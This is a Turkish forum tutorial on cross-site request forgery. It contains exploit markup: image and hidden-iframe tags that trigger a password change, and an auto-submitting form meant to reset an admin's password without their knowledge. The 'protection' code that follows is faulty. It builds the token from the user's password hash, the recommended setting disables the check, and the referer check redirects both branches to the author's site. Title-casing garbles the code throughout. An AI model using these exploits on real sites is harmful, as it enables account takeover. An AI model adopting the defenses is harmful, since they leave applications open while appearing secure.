Security Expert Network Editor Login | Register Ekle

root > Web Uygulamaları Güvenliği > JavaScript Injection
CSRF~XSRF Nedir? - JavaScript Injection - Web Uygulamaları Güvenliği - root \ Cyber-Security.Org.tr
MustafaTOKER
(Relased 22.04.2009 11:16:14)


CSRF~XSRF Nedir?

Cross Site Request Forgery (Diğer Adlarıyla Xsrf, Csrf, Ve Cross Site Reference Forgery) Browserlerın Javascript Çalıştırma Desteğiyle Kişilere İstenilenin Dışında Servera Komut Yollanmasını Sağlayan Kodlardır. Sitemiz Veya Sistemimiz Bu Komutlar İçin Genel Olarak Url Lerden Yararlanır.

Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1

Bizde Bunu Bildiğimiz İçin Bundan Yararlanıcaz Veya Formlar Oluşturarak İşlemimizi Gerçekleştireceğiz. Zaten Amacımızda Bu İşlemleri Gerçekleştirebilecek Yetkiye Sahip Kişileri Oturum Açmış Durumdayken Kullanarak Onlar Yerine Kendi Kodlarımızı Güvenilir Kodlarmış Gibi Kullanıcıyı Kullanarak Göndermektir.
Ve Bu Saldırıları Html Veya Javascript Kodları Kullanarak İşlemesini Sağlayabiliriz.

<İmg Src=”Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1”>

Saldırı Şekilleri 1 :

Saldırganımız Önceden Saldırı İçin Hazırladığı Sitemizi Kurbana Yollar Kurban Gezerken Kurbanın Domain Sitesinde İşlem Yapması İçin Ya Bir Teşvikte Bulunabilir Saldırganımız, Online Olduğu Bir Zamanı Seçebilir Ya Da Kurbanın İşi Çıkıp Girebilir Girdiği Anda Online Olduğu İçin Yani Çevirim İçi Sitenin Kod Kısmına Yerleştirilmiş Olan

<İmg Src=” Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1”> , <İframe Src=” Https://Www.Domain.Com/Management/Change_Password.Php?New_Pass=Scriptkiddie&Verify_Pass=Scriptkiddie&Submited=1”>

Gibi Html Kodları Veya Formlarla (Javascript İle) Saldırganımız Kendi Adına Kişinin Servera Kodları Yollamasını Sağlar.

Örneğin Hedef Sitenizin Kaynağına Baktığınızda Session ( Oturum ) Ve Ya
<İnput Type=”Hidden”>
<İnput Type="Hidden" Name="Token" Value="".$_Sessıon["Token"]."" />

Kodları İle Korunmamışsa Csrf Olma Olasılığı Yüksektir.Tabiki Değişik Korunma Yöntemleride Vardır Fakat Ben Dilimin Döndüğünce Anlatmaya Çalışacağım Sizlere.

Panelimizde Bulunan Bir Csrf İle Saldırganın Neler Yapabileceğini Gösterim.

Exploit Code :


<İnput Type="Password" Name="Pass" Class="Textinput"
Value="">
<İnput Type="Password" Name="Pass_Rep" Class="Textinput" Value="">
<İnput Type="Hidden" Name="Uaction" Value="Update_Pass">
<İnput Type="Hidden" Name="Submit" Value="Update Password">

Panelimizde Bulunan Kodlar Bunlar Olsun Ve Düzenleyelim Hemen Javascript Kodları İle Ve Html Olarak Kaydedelim. Hedef Kişiye İster Link Olarak İsterse Bir Site Arka Sayfasında ( İframe ) Çalıştırarak Adminin Yeni Şifresini Belirleyebilirsiniz.

Exploitimizin Düzenli Hali Şöle Olucak :


Function Scriptkiddie(){
Document.Forms[0].Submit();
}





<İnput Type="Password" Name="Pass" Class="Textinput"
Value="Yeni Şifre Buraya">
<İnput Type="Password" Name="Pass_Rep" Class="Textinput" Value="Yeni Şifre Buraya">
<İnput Type="Hidden" Name="Uaction" Value="Update_Pass">
<İnput Type="Hidden" Name="Submit" Value="Update Password">

Saldırı Yapmak İsteyen Şahıs Sizlere İframe Kodları İle Yedirmeyede Çalışır. Nasıl Mı ?

Exploiti Hedef.Html Adına Kayıt Eder Ve Kendi Sitesi Yada Senin İlgi Duyacağın Bir Sİtenin Ftp’sine Atar Ve Ana Sayfasından İframe Kodu İle Çağırır Sen Tıkladığında Farkında Olmadan Baktığın Ana Sayfanın Arkasındaki Kodlar Çoktan Çalışmış Olacaktır.

<İframe Src="Hedef.Html" height="0" width="0" Frameborder="0">

Ana Sayfadan Hedef.Html’yi Çağırmıştır Ama Arka Planda…

Bunun Gibi Mesela :)

Csrf (Xsrf)’Den Korunma Yöntemleri :

$_Post Token Koruması

Bunu Sizlere Adım Adım Anlatmam Daha Mantıklı Ve De Açıklayıcı Geldiği İçin Böyle Anlatcam…

1. Adım:

Bu Kodu Tüm Kodlarından Sonra Echo() İçerisinde Eklemeniz Önemlidir:

Code:

<İnput Type="Hidden" Name="Token" Value="".$_Sessıon["Token"]."" />

2. Adım:

Bu Kodu Config Dosyanıza Ekleyin

Code:

İf (İsset($_User["İd"])) { // Your Function To Check İf A User İs Logged İn
İf (Empty($_Sessıon["Token"]) || !İsset($_Sessıon["Token"])) { // İf There İs No Token Set
$_Sessıon["Token"] = Strrev(Md5($_User["Password"])); //Set A Token With A Reverse String And Md5 Encryption Of The User’s Password
}
İf (Csrf_Protected != False) { // İf You Did Not Define Csrf_Protected As False
İf ($_Post) { // İf There İs A Form Present
İf ($_Post["Token"] != $_Sessıon["Token"]) { // İf The İnput Token Does Not Equal The Session Token
Header(”Location: /İndex.Php”); // Redirect To İndex
Die(); // Stops All $_Post Data From Being Sent
}
}
}
}

3. Adım :

Bu Kodu Da Tüm İnclude İle Config Dosyalarını Çeken Php Dosyalarına Ekleyiniz
Code:

Define(”Csrf_Protected”, False);

4.Http_Referer İle Engelleme:

Yani Sizin İstemediğiniz Url’den Gelen İstekleri Red Ederek Bu Kodları Yollayan Kişiyi Farklı Bir Sayfaya Yönlendirme İşlemi İle Csrf Yöntemlerini Engelleme Tekniğidir..

Aşağıdaki Kodlarla Sağlayabiliriz Örneğin:

İf (Strstr($_Server["Http_Referer"]," Http://Www.Google.Com ")) {
Header ("Location: Http://Www.Scriptkiddie.Us");
} Else {
Header ("Location: Http://Www.Scriptkiddie.Us");
}
?>


Not: www.scriptkiddie.us Şahsıma Ait OfficiaL Sitemdir...




Derecelendir
Kaynak MustafaTOKER Tarafından yazılmış/derlenmiştir.
İçerik İhbarı
Bağlantılar Bg.org.tr | communicationsservers.com

CS - Security Expert Network AUP&TOS